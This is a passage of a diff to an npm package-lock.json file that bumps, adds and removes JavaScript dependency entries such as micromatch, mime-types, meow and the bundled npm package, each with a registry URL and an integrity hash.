"https://registry.npmjs.org/is-core-module/-/is-core-module-2.7.0.tgz", + "integrity": "sha512-ByY+tjCciCr+9nLryBYcSD50EOGWt95c7tIsKTG1J2ixKKXPvF7Ej3AVd+UfDydAJom3biBGDBALaO79ktwgEQ==", "dev": true, "requires": { "has": "^1.0.3" } }, - "is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, "is-date-object": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.2.tgz", - "integrity": "sha512-USlDT524woQ08aoZFzh3/Z6ch9Y/EWXEHQ/AaRN0SkKq4t2Jw2R2339tSXmwuVoY7LLlBCbOIlx2myP/L5zk0g==", - "dev": true + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dev": true, + "requires": { + "has-tostringtag": "^1.0.0" + } }, "is-decimal": { "version": "1.0.4", @@ -7582,46 +6739,24 @@ "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==", "dev": true }, - "is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "optional": true, - "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - }, - "dependencies": { - "kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true, - "optional": true - } - } - }, "is-docker": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", "dev": true }, - "is-extendable": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", - "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", - "dev": true, - "optional": true - }, "is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", "dev": true }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true + }, "is-glob": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", @@ -7653,32 +6788,19 @@ "dev": true }, "is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true }, "is-number-object": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.4.tgz", - "integrity": "sha512-zohwelOAur+5uXtk8O3GPQ1eAcu4ZX3UwxQhUlfFFMNpUd83gXgjbhJh6HmB6LUNV/ieOLQuDwJO3dWJosUeMw==", - "dev": true + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.6.tgz", + "integrity": "sha512-bEVOqiRcvo3zO1+G2lVMy+gkkEm9Yh7cDMRusKKu5ZJKPUYSJwICTKZrNKHA2EbSP0Tu0+6B/emsYNHZyn6K8g==", + "dev": true, + "requires": { + "has-tostringtag": "^1.0.0" + } }, "is-path-cwd": { "version": "2.2.0", @@ -7708,12 +6830,13 @@ } }, "is-regex": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.0.5.tgz", - "integrity": "sha512-vlKW17SNq44owv5AQR3Cq0bQPEb8+kF3UKZ2fiZNOWtztYE5i0CzCZxFDwO58qAOWtxdBRVO/V5Qin1wjCqFYQ==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", "dev": true, "requires": { - "has": "^1.0.3" + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" } }, "is-regexp": { @@ -7722,24 +6845,33 @@ "integrity": "sha512-OZ4IlER3zmRIoB9AqNhEggVxqIH4ofDns5nRrPS6yQxXE1TPCUpFznBfRQmQa8uC+pXqjMnukiJBxCisIxiLGA==", "dev": true }, + "is-shared-array-buffer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.1.tgz", + "integrity": "sha512-IU0NmyknYZN0rChcKhRO1X8LYz5Isj/Fsqh8NJOSf+N/hCOTwy29F32Ik7a+QszE63IdvmwdTPDd6cZ5pg4cwA==", + "dev": true + }, "is-stream": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" }, "is-string": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.5.tgz", - "integrity": "sha512-buY6VNRjhQMiF1qWDouloZlQbRhDPCebwxSjxMjxgemYT46YMd2NR0/H+fBhEfWX4A/w9TBJ+ol+okqJKFE6vQ==", - "dev": true - }, - "is-symbol": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.3.tgz", - "integrity": "sha512-OwijhaRSgqvhm/0ZdAcXNZt9lYdKFpcRDT5ULUuYXPoT794UNOdU+gpT6Rzo7b4V2HUl/op6GqY894AZwv9faQ==", + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", "dev": true, "requires": { - "has-symbols": "^1.0.1" + "has-tostringtag": "^1.0.0" + } + }, + "is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dev": true, + "requires": { + "has-symbols": "^1.0.2" } }, "is-typedarray": { @@ -7754,12 +6886,14 @@ "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", "dev": true }, - "is-windows": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", - "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", + "is-weakref": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.1.tgz", + "integrity": "sha512-b2jKc2pQZjaeFYWEf7ScFj+Be1I+PXmlu572Q8coTXZ+LD/QQZ7ShPMst8h16riVgyXTQwUsFEl74mDvc/3MHQ==", "dev": true, - "optional": true + "requires": { + "call-bind": "^1.0.0" + } }, "is-wsl": { "version": "2.2.0", @@ -7819,9 +6953,9 @@ } }, "chalk": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", - "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dev": true, "requires": { "ansi-styles": "^4.1.0", @@ -7867,9 +7001,9 @@ "dev": true }, "jest-worker": { - "version": "27.2.0", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.2.0.tgz", - "integrity": "sha512-laB0ZVIBz+voh/QQy9dmUuuDsadixeerrKqyVpgPz+CCWiOYjOBabUXHIXZhsdvkWbLqSHbgkAHWl5cg24Q6RA==", + "version": "27.2.4", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.2.4.tgz", + "integrity": "sha512-Zq9A2Pw59KkVjBBKD1i3iE2e22oSjXhUKKuAK1HGX8flGwkm6NMozyEYzKd41hXc64dbd/0eWFeEEuxqXyhM+g==", "dev": true, "requires": { "@types/node": "*", @@ -7955,27 +7089,13 @@ } }, "jsx-ast-utils": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.0.tgz", - "integrity": "sha512-EIsmt3O3ljsU6sot/J4E1zDRxfBNrhjyf/OKjlydwgEimQuznlM4Wv7U+ueONJMyEn1WRE0K8dhi3dVAXYT24Q==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.1.tgz", + "integrity": "sha512-uP5vu8xfy2F9A6LGC22KO7e2/vGTS1MhP+18f++ZNlf0Ohaxbc9nIEwHAsejlJKyzfZzU5UIhe5ItYkitcZnZA==", "dev": true, "requires": { - "array-includes": "^3.1.2", + "array-includes": "^3.1.3", "object.assign": "^4.1.2" - }, - "dependencies": { - "object.assign": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", - "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", - "dev": true, - "requires": { - "call-bind": "^1.0.0", - "define-properties": "^1.1.3", - "has-symbols": "^1.0.1", - "object-keys": "^1.1.1" - } - } } }, "jwt-decode": { @@ -7983,11 +7103,6 @@ "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-2.2.0.tgz", "integrity": "sha1-fYa9VmefWM5qhHBKZX3TkruoGnk=" }, - "keycharm": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.2.0.tgz", - "integrity": "sha1-+m6i5DuQpoAohD0n8gddNajD5vk=" - }, "kind-of": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", @@ -8031,16 +7146,20 @@ "json5": "^1.0.1" } }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "requires": { + "p-locate": "^4.1.0" + } + }, "lodash": { "version": "4.17.21", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" }, - "lodash-es": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", - "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" - }, "lodash.clonedeep": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", @@ -8058,12 +7177,6 @@ "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=", "dev": true }, - "lodash.flatten": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", - "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=", - "dev": true - }, "lodash.flow": { "version": "3.5.0", "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", @@ -8110,9 +7223,9 @@ } }, "chalk": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", - "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dev": true, "requires": { "ansi-styles": "^4.1.0", @@ -8171,6 +7284,15 @@ "integrity": "sha1-miyr0bno4K6ZOkv31YdcOcQujqw=", "dev": true }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, "make-dir": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", @@ -8181,33 +7303,16 @@ "semver": "^5.6.0" } }, - "map-cache": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", - "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=", - "dev": true, - "optional": true - }, "map-obj": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", - "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", + "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==", "dev": true }, - "map-visit": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", - "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", - "dev": true, - "optional": true, - "requires": { - "object-visit": "^1.0.0" - } - }, "marked": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/marked/-/marked-2.0.0.tgz", - "integrity": "sha512-NqRSh2+LlN2NInpqTQnS614Y/3NkVMFFU6sJlRFEpxJ/LHuK/qJECH7/fXZjk4VZstPW/Pevjil/VtSONsLc7Q==" + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz", + "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA==" }, "mathml-tag-names": { "version": "2.1.3", @@ -8255,14 +7360,52 @@ "dev": true }, "memfs": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.2.4.tgz", - "integrity": "sha512-2mDCPhuduRPOxlfgsXF9V+uqC6Jgz8zt/bNe4d4W7d5f6pCzHrWkxLNr17jKGXd4+j2kQNsAG2HARPnt74sqVQ==", + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.3.0.tgz", + "integrity": "sha512-BEE62uMfKOavX3iG7GYX43QJ+hAeeWnwIAuJ/R6q96jaMtiLzhsxHJC8B1L7fK7Pt/vXDRwb3SG/yBpNGDPqzg==", "dev": true, "requires": { "fs-monkey": "1.0.3" } }, + "memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "requires": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + } + }, + "meow": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", + "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==", + "dev": true, + "requires": { + "@types/minimist": "^1.2.0", + "camelcase-keys": "^6.2.2", + "decamelize": "^1.2.0", + "decamelize-keys": "^1.1.0", + "hard-rejection": "^2.1.0", + "minimist-options": "4.1.0", + "normalize-package-data": "^3.0.0", + "read-pkg-up": "^7.0.1", + "redent": "^3.0.0", + "trim-newlines": "^3.0.0", + "type-fest": "^0.18.0", + "yargs-parser": "^20.2.3" + }, + "dependencies": { + "type-fest": { + "version": "0.18.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz", + "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==", + "dev": true + } + } + }, "merge-descriptors": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", @@ -8295,45 +7438,16 @@ "requires": { "debug": "^4.0.0", "parse-entities": "^2.0.0" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - } } }, "micromatch": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", - "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", "dev": true, - "optional": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "braces": "^3.0.1", + "picomatch": "^2.2.3" } }, "mime": { @@ -8343,18 +7457,18 @@ "dev": true }, "mime-db": { - "version": "1.44.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.44.0.tgz", - "integrity": "sha512-/NOTfLrsPBVeH7YtFPgsVWveuL+4SjjYxaQ1xtM1KMFj7HdxlBlxeyNLzhyJVx7r4rZGJAZ/6lkKCitSc/Nmpg==", + "version": "1.50.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.50.0.tgz", + "integrity": "sha512-9tMZCDlYHqeERXEHO9f/hKfNXhre5dK2eE/krIvUjZbS2KPcqGDfNShIWS1uW9XOTKQKqK6qbeOci18rbfW77A==", "dev": true }, "mime-types": { - "version": "2.1.27", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.27.tgz", - "integrity": "sha512-JIhqnCasI9yD+SsmkquHBxTSEuZdQX5BuQnS2Vc7puQQQ+8yiP5AY5uWhpdv4YL4VM5c6iliiYWPgJ/nJQLp7w==", + "version": "2.1.33", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.33.tgz", + "integrity": "sha512-plLElXp7pRDd0bNZHw+nMd52vRYjLwQjygaNg7ddJ2uJtTlmnTCjWuPKxVu6//AdaRuME84SvLW91sIkBqGT0g==", "dev": true, "requires": { - "mime-db": "1.44.0" + "mime-db": "1.50.0" } }, "mimic-fn": { @@ -8384,16 +7498,6 @@ "requires": { "@babel/runtime": "^7.12.1", "tiny-warning": "^1.0.3" - }, - "dependencies": { - "@babel/runtime": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", - "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", - "requires": { - "regenerator-runtime": "^0.13.4" - } - } } }, "minimalistic-assert": { @@ -8435,29 +7539,6 @@ } } }, - "mixin-deep": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz", - "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==", - "dev": true, - "optional": true, - "requires": { - "for-in": "^1.0.2", - "is-extendable": "^1.0.1" - }, - "dependencies": { - "is-extendable": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", - "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", - "dev": true, - "optional": true, - "requires": { - "is-plain-object": "^2.0.4" - } - } - } - }, "mkdirp": { "version": "0.5.5", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", @@ -8467,15 +7548,10 @@ "minimist": "^1.2.5" } }, - "moment": { - "version": "2.25.3", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.25.3.tgz", - "integrity": "sha512-PuYv0PHxZvzc15Sp8ybUCoQ+xpyPWvjOuK72a5ovzp2LI32rJXOiIfyoFoYvG3s6EwwrdkMyWuRiEHSZRLJNdg==" - }, "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true }, "multicast-dns": { @@ -8505,26 +7581,6 @@ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.11.tgz", "integrity": "sha512-s/snB+WGm6uwi0WjsZdaVcuf3KJXlfGl2LcxgwkEwJF0D/BWzVWAZW/XY4bFaiR7s0Jk3FPvlnepg1H1b1UwlA==" }, - "nanomatch": { - "version": "1.2.13", - "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", - "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", - "dev": true, - "optional": true, - "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "fragment-cache": "^0.2.1", - "is-windows": "^1.0.2", - "kind-of": "^6.0.2", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - } - }, "natural-compare": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", @@ -8573,6 +7629,12 @@ "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", "dev": true }, + "node-releases": { + "version": "1.1.77", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.77.tgz", + "integrity": "sha512-rB1DUFUNAN4Gn9keO2K1efO35IDK7yKHCdCaIMvFO7yUYmmZYeDjnGKle26G4rwj+LKRQpjyUUvMkPglwGCYNQ==", + "dev": true + }, "noms": { "version": "0.0.0", "resolved": "https://registry.npmjs.org/noms/-/noms-0.0.0.tgz", @@ -8609,6 +7671,29 @@ } } }, + "normalize-package-data": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz", + "integrity": "sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==", + "dev": true, + "requires": { + "hosted-git-info": "^4.0.1", + "is-core-module": "^2.5.0", + "semver": "^7.3.4", + "validate-npm-package-license": "^3.0.1" + }, + "dependencies": { + "semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + } + } + }, "normalize-path": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", @@ -8633,12 +7718,13 @@ "integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg==" }, "npm": { - "version": "7.24.0", - "resolved": "https://registry.npmjs.org/npm/-/npm-7.24.0.tgz", - "integrity": "sha512-4zd4txmN7dYEx32kH/K+gecnZhnGDdCrRFK6/n5TGUtqtyjevw0uPul0knJ9PzwDXeNf9MsWzGhjxGeI1M43FA==", + "version": "7.24.2", + "resolved": "https://registry.npmjs.org/npm/-/npm-7.24.2.tgz", + "integrity": "sha512-120p116CE8VMMZ+hk8IAb1inCPk4Dj3VZw29/n2g6UI77urJKVYb7FZUDW8hY+EBnfsjI/2yrobBgFyzo7YpVQ==", "dev": true, "requires": { - "@npmcli/arborist": "^2.8.3", + "@isaacs/string-locale-compare": "^1.1.0", + "@npmcli/arborist": "^2.9.0", "@npmcli/ci-detect": "^1.2.0", "@npmcli/config": "^2.3.0", "@npmcli/map-workspaces": "^1.0.4", @@ -8655,7 +7741,7 @@ "cli-table3": "^0.6.0", "columnify": "~1.5.4", "fastest-levenshtein": "^1.0.12", - "glob": "^7.1.7", + "glob": "^7.2.0", "graceful-fs": "^4.2.8", "hosted-git-info": "^4.0.2", "ini": "^2.0.0", @@ -8714,11 +7800,17 @@ "bundled": true, "dev": true }, + "@isaacs/string-locale-compare": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, "@npmcli/arborist": { - "version": "2.8.3", + "version": "2.9.0", "bundled": true, "dev": true, "requires": { + 